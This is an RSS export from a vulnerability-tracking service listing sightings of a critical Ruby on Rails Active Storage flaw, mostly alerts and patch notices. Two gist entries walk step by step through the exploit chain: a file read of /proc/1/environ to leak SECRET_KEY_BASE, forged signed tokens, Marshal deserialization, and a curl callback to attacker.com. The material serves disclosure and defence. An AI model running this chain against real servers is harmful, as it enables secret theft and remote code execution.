https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Fri, 31 Jul 2026 22:54:29 +0000 https://vulnerability.circl.lu/sighting/88dcda9e-1d9e-4ce4-a78b-8841143cd062/export {"uuid": "88dcda9e-1d9e-4ce4-a78b-8841143cd062", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "Telegram/57kgthPlcq0SdzKJJB0-p5vNcHKAbE1eV94lCqYuwiHW3w8", "content": "", "creation_timestamp": "2026-07-31T22:00:02.657707Z"} {"uuid": "88dcda9e-1d9e-4ce4-a78b-8841143cd062", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "Telegram/57kgthPlcq0SdzKJJB0-p5vNcHKAbE1eV94lCqYuwiHW3w8", "content": "", "creation_timestamp": "2026-07-31T22:00:02.657707Z"} https://vulnerability.circl.lu/sighting/88dcda9e-1d9e-4ce4-a78b-8841143cd062/export Fri, 31 Jul 2026 22:00:02 +0000 https://vulnerability.circl.lu/sighting/ce40dd4f-4aa6-48eb-939e-2aedd1ae49de/export {"uuid": "ce40dd4f-4aa6-48eb-939e-2aedd1ae49de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "Telegram/lzREupovl051IH-OQxANl3xWT1ZBkl1PTRgXqKJ4p6mKnoQ", "content": "", "creation_timestamp": "2026-07-31T22:00:02.601760Z"} {"uuid": "ce40dd4f-4aa6-48eb-939e-2aedd1ae49de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "Telegram/lzREupovl051IH-OQxANl3xWT1ZBkl1PTRgXqKJ4p6mKnoQ", "content": "", "creation_timestamp": "2026-07-31T22:00:02.601760Z"} https://vulnerability.circl.lu/sighting/ce40dd4f-4aa6-48eb-939e-2aedd1ae49de/export Fri, 31 Jul 2026 22:00:02 +0000 https://vulnerability.circl.lu/sighting/31fe5ee7-22a8-4a7a-8058-a70697942e9a/export {"uuid": "31fe5ee7-22a8-4a7a-8058-a70697942e9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://t.me/GithubRedTeam/96037", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a KindaRails2Shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xsha\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0 | \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-31 16:59:25\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-66066 + File Read, RCE, Scanner, Lab \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-31T18:00:04.081247Z"} {"uuid": "31fe5ee7-22a8-4a7a-8058-a70697942e9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://t.me/GithubRedTeam/96037", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a KindaRails2Shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xsha\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0 | \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-31 16:59:25\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-66066 + File Read, RCE, Scanner, Lab \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-31T18:00:04.081247Z"} https://vulnerability.circl.lu/sighting/31fe5ee7-22a8-4a7a-8058-a70697942e9a/export Fri, 31 Jul 2026 18:00:04 +0000 https://vulnerability.circl.lu/sighting/d69b5121-36b4-404f-9cb0-a9a59b9c1e4f/export {"uuid": "d69b5121-36b4-404f-9cb0-a9a59b9c1e4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/rails-security-advisory-av26-767", "content": "", "creation_timestamp": "2026-07-31T16:45:15.953339Z"} {"uuid": "d69b5121-36b4-404f-9cb0-a9a59b9c1e4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/rails-security-advisory-av26-767", "content": "", "creation_timestamp": "2026-07-31T16:45:15.953339Z"} https://vulnerability.circl.lu/sighting/d69b5121-36b4-404f-9cb0-a9a59b9c1e4f/export Fri, 31 Jul 2026 16:45:15 +0000 https://vulnerability.circl.lu/sighting/99a5694e-7b97-4e70-aa60-5263838efba1/export {"uuid": "99a5694e-7b97-4e70-aa60-5263838efba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mrxdvtp3q32i", "content": "\u26a0\ufe0f PATCH NOW\n\nA critical Ruby on Rails flaw (CVE-2026-66066, CVSS 9.5) lets an unauthenticated attacker upload a rigged image and read any file on the server.\n\nThe prize: secret_key_base, the key that signs every session.\n\nFix: patch to 7.2.3.2, 8.0.5.1, or 8.1.3.1.", "creation_timestamp": "2026-07-31T16:13:21.955550Z"} {"uuid": "99a5694e-7b97-4e70-aa60-5263838efba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mrxdvtp3q32i", "content": "\u26a0\ufe0f PATCH NOW\n\nA critical Ruby on Rails flaw (CVE-2026-66066, CVSS 9.5) lets an unauthenticated attacker upload a rigged image and read any file on the server.\n\nThe prize: secret_key_base, the key that signs every session.\n\nFix: patch to 7.2.3.2, 8.0.5.1, or 8.1.3.1.", "creation_timestamp": "2026-07-31T16:13:21.955550Z"} https://vulnerability.circl.lu/sighting/99a5694e-7b97-4e70-aa60-5263838efba1/export Fri, 31 Jul 2026 16:13:21 +0000 https://vulnerability.circl.lu/sighting/060f26cf-fa20-4a40-b0e0-0209b089e1ec/export {"uuid": "060f26cf-fa20-4a40-b0e0-0209b089e1ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://gist.github.com/Annbingbing/96ea182d5afb776af8acabe36fa72e2d", "content": "## Stage 1 \u2013 Visit Upload Page (Get CSRF)\n\n```\nGET / HTTP/1.1\nHost: victim.com\n```\n\nResponse\n\n```html\n\n```\n\nExtract the CSRF token.\n\n---\n\n## Stage 2 \u2013 Upload a Normal PNG\n\nThe PoC first uploads a harmless PNG.\n\n```\nPOST /uploads HTTP/1.1\nHost: victim.com\nContent-Type: multipart/form-data; boundary=----\n\n------BOUNDARY\nContent-Disposition: form-data; name=\"authenticity_token\"\n\nCSRF_TOKEN\n------BOUNDARY\nContent-Disposition: form-data;\n name=\"upload[avatar]\";\n filename=\"safe.png\"\n\n\n------BOUNDARY--\n```\n\nResponse\n\n```\nHTTP/1.1 200 OK\n```\n\nInside HTML:\n\n```html\n\n```\n\nThis representation URL becomes important later.\n\n---\n\n## Stage 3 \u2013 Create Direct Upload\n\nRails Active Storage allows JavaScript clients to upload files directly.\n\n```\nPOST /rails/active_storage/direct_uploads HTTP/1.1\n\nContent-Type: application/json\nX-CSRF-Token: CSRF_TOKEN\n\n{\n \"blob\":{\n \"filename\":\"profile.bmp\",\n \"byte_size\":12345,\n \"checksum\":\"....\",\n \"content_type\":\"image/bmp\"\n }\n}\n```\n\nResponse\n\n```json\n{\n \"signed_id\":\"eyJ...\",\n \"direct_upload\":{\n \"url\":\"/rails/active_storage/disk/....\",\n \"headers\":{\n \"Content-Type\":\"image/bmp\"\n }\n }\n}\n```\n\nNow the attacker has:\n\n* upload URL\n* signed blob ID\n\n---\n\n## Stage 4 \u2013 Upload the Malicious BMP\n\nThis is **not really a BMP**.\n\nIt is actually\n\n```\nMATLAB\n +\nHDF5\n +\nExternal Dataset\n +\nEmbedded Ruby Marshal Payload\n```\n\nUploaded with\n\n```\nPUT /rails/active_storage/disk/... HTTP/1.1\n\nContent-Type: image/bmp\n\n\n```\n\nResponse\n\n```\n204 No Content\n```\n\n---\n\n## Stage 5 \u2013 Trigger Image Processing\n\nNow the representation URL is modified to use the uploaded blob.\n\n```\nGET /rails/active_storage/representations/redirect//profile.bmp\n```\n\nAt this point Rails asks **libvips** to process the image.\n\nInstead of reading image pixels, libvips interprets it as a MATLAB/HDF5 file.\n\nThe HDF5 file contains an **External Dataset** pointing to\n\n```\n/proc/1/environ\n```\n\nSo libvips loads\n\n```\n/proc/1/environ\n```\n\ninstead of image pixels.\n\n---\n\n## Stage 6 \u2013 Information Disclosure\n\nThe response is still a PNG image.\n\nHowever its pixels now contain the contents of\n\n```\n/proc/1/environ\n```\n\nThe PoC parses the returned PNG.\n\nInside the pixels it extracts\n\n```\nSECRET_KEY_BASE=xxxxxxxxxxxxxxxx\n```\n\nThis is the Rails signing secret.\n\n---\n\n## Stage 7 \u2013 Forge Active Storage Token\n\nNow the PoC computes\n\n```\nHMAC(secret,\n serialized Ruby Marshal payload)\n```\n\ncreating a valid Rails signed token.\n\nThis is equivalent to forging a legitimate\n\n```\nvariation_key\n```\n\nfor Active Storage.\n\n---\n\n## Stage 8 \u2013 Final Trigger\n\n```\nGET /rails/active_storage/representations/redirect//safe.png\n```\n\nThis time Rails trusts the forged token because it is correctly signed with the recovered `SECRET_KEY_BASE`.\n\nRails deserializes the embedded Ruby Marshal object.\n\n---\n\n## Stage 9 \u2013 Code Execution\n\nThe Marshal object eventually invokes\n\n```\nMiniMagick::Tool\n```\n\nconfigured as\n\n```\n/usr/bin/curl\n```\n\nwith arguments similar to\n\n```\ncurl \\\n --silent \\\n --show-error \\\n --max-time 8 \\\n --output /dev/null \\\n http://attacker.com/callback\n```\n\nThe outbound callback proves code execution without returning sensitive data.\n\n---\n\n# Complete Burp Flow\n\n```text\nGET /\n \u2502\n \u25bc\nReceive CSRF Token\n \u2502\n \u25bc\nPOST /uploads\n \u2502\n \u25bc\nReceive Representation URL\n \u2502\n \u25bc\nPOST /rails/active_storage/direct_uploads\n \u2502\n \u25bc\nReceive signed_id + upload URL\n \u2502\n \u25bc\nPUT malicious BMP\n \u2502\n \u25bc\nGET representation(profile.bmp)\n \u2502\n \u25bc\nlibvips reads /proc/1/environ\n \u2502\n \u25bc\nSECRET_KEY_BASE leaked\n \u2502\n \u25bc\nForge Rails signed token\n \u2502\n \u25bc\nGET representation(forged token)\n \u2502\n \u25bc\nMarshal Deserialization\n \u2502\n \u25bc\nMiniMagick::Tool\n \u2502\n \u25bc\ncurl attacker callback\n```\n\n# Vulnerability Chain\n\nThis is **not a single vulnerability**, but a chained exploit:\n\n1. **Arbitrary file read** via libvips external HDF5 dataset (`/proc/1/environ`).\n2. **Leak of `SECRET_KEY_BASE`** from the Rails process environment.\n3. **Forgery of Active Storage signed variation tokens** using the leaked secret.\n4. **Unsafe Ruby Marshal deserialization** of the forged variation.\n5. **Command execution** through the `MiniMagick::Tool` gadget (demonstrated with an outbound `curl` callback).\n\n\n### Ref. PoC: \n- https://github.com/Zer0SumGam3/CVE-2026-66066-POC/blob/main/rails_vips_oast_poc.py", "creation_timestamp": "2026-07-31T15:47:30.457760Z"} {"uuid": "060f26cf-fa20-4a40-b0e0-0209b089e1ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://gist.github.com/Annbingbing/96ea182d5afb776af8acabe36fa72e2d", "content": "## Stage 1 \u2013 Visit Upload Page (Get CSRF)\n\n```\nGET / HTTP/1.1\nHost: victim.com\n```\n\nResponse\n\n```html\n\n```\n\nExtract the CSRF token.\n\n---\n\n## Stage 2 \u2013 Upload a Normal PNG\n\nThe PoC first uploads a harmless PNG.\n\n```\nPOST /uploads HTTP/1.1\nHost: victim.com\nContent-Type: multipart/form-data; boundary=----\n\n------BOUNDARY\nContent-Disposition: form-data; name=\"authenticity_token\"\n\nCSRF_TOKEN\n------BOUNDARY\nContent-Disposition: form-data;\n name=\"upload[avatar]\";\n filename=\"safe.png\"\n\n\n------BOUNDARY--\n```\n\nResponse\n\n```\nHTTP/1.1 200 OK\n```\n\nInside HTML:\n\n```html\n\n```\n\nThis representation URL becomes important later.\n\n---\n\n## Stage 3 \u2013 Create Direct Upload\n\nRails Active Storage allows JavaScript clients to upload files directly.\n\n```\nPOST /rails/active_storage/direct_uploads HTTP/1.1\n\nContent-Type: application/json\nX-CSRF-Token: CSRF_TOKEN\n\n{\n \"blob\":{\n \"filename\":\"profile.bmp\",\n \"byte_size\":12345,\n \"checksum\":\"....\",\n \"content_type\":\"image/bmp\"\n }\n}\n```\n\nResponse\n\n```json\n{\n \"signed_id\":\"eyJ...\",\n \"direct_upload\":{\n \"url\":\"/rails/active_storage/disk/....\",\n \"headers\":{\n \"Content-Type\":\"image/bmp\"\n }\n }\n}\n```\n\nNow the attacker has:\n\n* upload URL\n* signed blob ID\n\n---\n\n## Stage 4 \u2013 Upload the Malicious BMP\n\nThis is **not really a BMP**.\n\nIt is actually\n\n```\nMATLAB\n +\nHDF5\n +\nExternal Dataset\n +\nEmbedded Ruby Marshal Payload\n```\n\nUploaded with\n\n```\nPUT /rails/active_storage/disk/... HTTP/1.1\n\nContent-Type: image/bmp\n\n\n```\n\nResponse\n\n```\n204 No Content\n```\n\n---\n\n## Stage 5 \u2013 Trigger Image Processing\n\nNow the representation URL is modified to use the uploaded blob.\n\n```\nGET /rails/active_storage/representations/redirect//profile.bmp\n```\n\nAt this point Rails asks **libvips** to process the image.\n\nInstead of reading image pixels, libvips interprets it as a MATLAB/HDF5 file.\n\nThe HDF5 file contains an **External Dataset** pointing to\n\n```\n/proc/1/environ\n```\n\nSo libvips loads\n\n```\n/proc/1/environ\n```\n\ninstead of image pixels.\n\n---\n\n## Stage 6 \u2013 Information Disclosure\n\nThe response is still a PNG image.\n\nHowever its pixels now contain the contents of\n\n```\n/proc/1/environ\n```\n\nThe PoC parses the returned PNG.\n\nInside the pixels it extracts\n\n```\nSECRET_KEY_BASE=xxxxxxxxxxxxxxxx\n```\n\nThis is the Rails signing secret.\n\n---\n\n## Stage 7 \u2013 Forge Active Storage Token\n\nNow the PoC computes\n\n```\nHMAC(secret,\n serialized Ruby Marshal payload)\n```\n\ncreating a valid Rails signed token.\n\nThis is equivalent to forging a legitimate\n\n```\nvariation_key\n```\n\nfor Active Storage.\n\n---\n\n## Stage 8 \u2013 Final Trigger\n\n```\nGET /rails/active_storage/representations/redirect//safe.png\n```\n\nThis time Rails trusts the forged token because it is correctly signed with the recovered `SECRET_KEY_BASE`.\n\nRails deserializes the embedded Ruby Marshal object.\n\n---\n\n## Stage 9 \u2013 Code Execution\n\nThe Marshal object eventually invokes\n\n```\nMiniMagick::Tool\n```\n\nconfigured as\n\n```\n/usr/bin/curl\n```\n\nwith arguments similar to\n\n```\ncurl \\\n --silent \\\n --show-error \\\n --max-time 8 \\\n --output /dev/null \\\n http://attacker.com/callback\n```\n\nThe outbound callback proves code execution without returning sensitive data.\n\n---\n\n# Complete Burp Flow\n\n```text\nGET /\n \u2502\n \u25bc\nReceive CSRF Token\n \u2502\n \u25bc\nPOST /uploads\n \u2502\n \u25bc\nReceive Representation URL\n \u2502\n \u25bc\nPOST /rails/active_storage/direct_uploads\n \u2502\n \u25bc\nReceive signed_id + upload URL\n \u2502\n \u25bc\nPUT malicious BMP\n \u2502\n \u25bc\nGET representation(profile.bmp)\n \u2502\n \u25bc\nlibvips reads /proc/1/environ\n \u2502\n \u25bc\nSECRET_KEY_BASE leaked\n \u2502\n \u25bc\nForge Rails signed token\n \u2502\n \u25bc\nGET representation(forged token)\n \u2502\n \u25bc\nMarshal Deserialization\n \u2502\n \u25bc\nMiniMagick::Tool\n \u2502\n \u25bc\ncurl attacker callback\n```\n\n# Vulnerability Chain\n\nThis is **not a single vulnerability**, but a chained exploit:\n\n1. **Arbitrary file read** via libvips external HDF5 dataset (`/proc/1/environ`).\n2. **Leak of `SECRET_KEY_BASE`** from the Rails process environment.\n3. **Forgery of Active Storage signed variation tokens** using the leaked secret.\n4. **Unsafe Ruby Marshal deserialization** of the forged variation.\n5. **Command execution** through the `MiniMagick::Tool` gadget (demonstrated with an outbound `curl` callback).\n\n\n### Ref. PoC: \n- https://github.com/Zer0SumGam3/CVE-2026-66066-POC/blob/main/rails_vips_oast_poc.py", "creation_timestamp": "2026-07-31T15:47:30.457760Z"} https://vulnerability.circl.lu/sighting/060f26cf-fa20-4a40-b0e0-0209b089e1ec/export Fri, 31 Jul 2026 15:47:30 +0000 https://vulnerability.circl.lu/sighting/e6726dfa-74cc-4eea-8370-117ee9ce7f76/export {"uuid": "e6726dfa-74cc-4eea-8370-117ee9ce7f76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://t.me/bdufstecru/3355", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439 libvips \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Active Storage \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Ruby on Rails \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0440\u0435\u0441\u0443\u0440\u0441\u0430. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438\n\nBDU:2026-10713\nCVE-2026-66066\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://discuss.rubyonrails.org/t/cve-2026-66066-possible-arbitrary-file-read-and-remote-code-execution-in-active-storage-variant-processing/91432\nhttps://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm", "creation_timestamp": "2026-07-31T14:00:04.380920Z"} {"uuid": "e6726dfa-74cc-4eea-8370-117ee9ce7f76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://t.me/bdufstecru/3355", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439 libvips \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Active Storage \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Ruby on Rails \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0440\u0435\u0441\u0443\u0440\u0441\u0430. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438\n\nBDU:2026-10713\nCVE-2026-66066\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://discuss.rubyonrails.org/t/cve-2026-66066-possible-arbitrary-file-read-and-remote-code-execution-in-active-storage-variant-processing/91432\nhttps://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm", "creation_timestamp": "2026-07-31T14:00:04.380920Z"} https://vulnerability.circl.lu/sighting/e6726dfa-74cc-4eea-8370-117ee9ce7f76/export Fri, 31 Jul 2026 14:00:04 +0000 https://vulnerability.circl.lu/sighting/baf7dc5f-27b4-490f-91bf-e2770a20a923/export {"uuid": "baf7dc5f-27b4-490f-91bf-e2770a20a923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrwnepbje222", "content": "CVE-2026-66066 - rails\nAn attacker can gain elevated access to a Debian Linux system. This is a security risk because it could allow unauthorized access to sensitive data or system settings. To\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#rails #debian #Debian11 #CVE #infosec", "creation_timestamp": "2026-07-31T09:30:04.475753Z"} {"uuid": "baf7dc5f-27b4-490f-91bf-e2770a20a923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrwnepbje222", "content": "CVE-2026-66066 - rails\nAn attacker can gain elevated access to a Debian Linux system. This is a security risk because it could allow unauthorized access to sensitive data or system settings. To\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#rails #debian #Debian11 #CVE #infosec", "creation_timestamp": "2026-07-31T09:30:04.475753Z"} https://vulnerability.circl.lu/sighting/baf7dc5f-27b4-490f-91bf-e2770a20a923/export Fri, 31 Jul 2026 09:30:04 +0000 https://vulnerability.circl.lu/sighting/29d32733-a4a5-44b7-903c-7fb4494c7a0d/export {"uuid": "29d32733-a4a5-44b7-903c-7fb4494c7a0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://gist.github.com/a32077/fc44f28edcb5e15217afb29e89d4fd11", "content": "## Stage 1 \u2013 Visit Upload Page (Get CSRF)\n\n```\nGET / HTTP/1.1\nHost: victim.com\n```\n\nResponse\n\n```html\n\n```\n\nExtract the CSRF token.\n\n---\n\n## Stage 2 \u2013 Upload a Normal PNG\n\nThe PoC first uploads a harmless PNG.\n\n```\nPOST /uploads HTTP/1.1\nHost: victim.com\nContent-Type: multipart/form-data; boundary=----\n\n------BOUNDARY\nContent-Disposition: form-data; name=\"authenticity_token\"\n\nCSRF_TOKEN\n------BOUNDARY\nContent-Disposition: form-data;\n name=\"upload[avatar]\";\n filename=\"safe.png\"\n\n\n------BOUNDARY--\n```\n\nResponse\n\n```\nHTTP/1.1 200 OK\n```\n\nInside HTML:\n\n```html\n\n```\n\nThis representation URL becomes important later.\n\n---\n\n## Stage 3 \u2013 Create Direct Upload\n\nRails Active Storage allows JavaScript clients to upload files directly.\n\n```\nPOST /rails/active_storage/direct_uploads HTTP/1.1\n\nContent-Type: application/json\nX-CSRF-Token: CSRF_TOKEN\n\n{\n \"blob\":{\n \"filename\":\"profile.bmp\",\n \"byte_size\":12345,\n \"checksum\":\"....\",\n \"content_type\":\"image/bmp\"\n }\n}\n```\n\nResponse\n\n```json\n{\n \"signed_id\":\"eyJ...\",\n \"direct_upload\":{\n \"url\":\"/rails/active_storage/disk/....\",\n \"headers\":{\n \"Content-Type\":\"image/bmp\"\n }\n }\n}\n```\n\nNow the attacker has:\n\n* upload URL\n* signed blob ID\n\n---\n\n## Stage 4 \u2013 Upload the Malicious BMP\n\nThis is **not really a BMP**.\n\nIt is actually\n\n```\nMATLAB\n +\nHDF5\n +\nExternal Dataset\n +\nEmbedded Ruby Marshal Payload\n```\n\nUploaded with\n\n```\nPUT /rails/active_storage/disk/... HTTP/1.1\n\nContent-Type: image/bmp\n\n\n```\n\nResponse\n\n```\n204 No Content\n```\n\n---\n\n## Stage 5 \u2013 Trigger Image Processing\n\nNow the representation URL is modified to use the uploaded blob.\n\n```\nGET /rails/active_storage/representations/redirect//profile.bmp\n```\n\nAt this point Rails asks **libvips** to process the image.\n\nInstead of reading image pixels, libvips interprets it as a MATLAB/HDF5 file.\n\nThe HDF5 file contains an **External Dataset** pointing to\n\n```\n/proc/1/environ\n```\n\nSo libvips loads\n\n```\n/proc/1/environ\n```\n\ninstead of image pixels.\n\n---\n\n## Stage 6 \u2013 Information Disclosure\n\nThe response is still a PNG image.\n\nHowever its pixels now contain the contents of\n\n```\n/proc/1/environ\n```\n\nThe PoC parses the returned PNG.\n\nInside the pixels it extracts\n\n```\nSECRET_KEY_BASE=xxxxxxxxxxxxxxxx\n```\n\nThis is the Rails signing secret.\n\n---\n\n## Stage 7 \u2013 Forge Active Storage 